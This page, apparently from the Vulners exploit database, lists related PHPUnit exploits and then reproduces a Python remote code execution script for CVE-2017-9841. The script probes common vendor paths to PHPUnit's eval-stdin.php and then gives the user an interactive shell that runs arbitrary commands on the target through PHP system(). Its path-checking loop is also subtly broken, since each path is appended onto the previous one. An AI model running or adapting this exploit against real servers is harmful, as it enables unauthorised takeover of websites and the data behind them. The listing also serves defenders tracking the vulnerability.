| Reporter | Title | Published | Views | Family All 83 |
|---|---|---|---|---|
| PHP Unit 4.8.28 - Remote Code Execution (Unauthenticated) Exploit | 2 Feb 202200:00 | – | zdt | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 30 Aug 202512:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 13 Mar 202307:42 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 20 Mar 202207:01 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 1 Mar 202614:44 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 14 Sep 202012:33 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit |
# Exploit Title: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2022/01/30
# Exploit Author: souzo
# Vendor Homepage: phpunit.de
# Version: 4.8.28
# Tested on: Unit
# CVE : CVE-2017-9841
import requests
from sys import argv
phpfiles = ["/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]
def check_vuln(site):
vuln = False
try:
for i in phpfiles:
site = site+i
req = requests.get(site,headers= {
"Content-Type" : "text/html",
"User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
},data="<?php echo md5(phpunit_rce); ?>")
if "6dd70f16549456495373a337e6708865" in req.text:
print(f"Vulnerable: {site}")
return site
except:
return vuln
def help():
exit(f"{argv[0]} <site>")
def main():
if len(argv) < 2:
help()
if not "http" in argv[1] or not ":" in argv[1] or not "/" in argv[1]:
help()
site = argv[1]
if site.endswith("/"):
site = list(site)
site[len(site) -1 ] = ''
site = ''.join(site)
pathvuln = check_vuln(site)
if pathvuln == False:
exit("Not vuln")
try:
while True:
cmd = input("> ")
req = requests.get(str(pathvuln),headers={
"User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Content-Type" : "text/html"
},data=f'<?php system(\'{cmd}\') ?>')
print(req.text)
except Exception as ex:
exit("Error: " + str(ex))
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation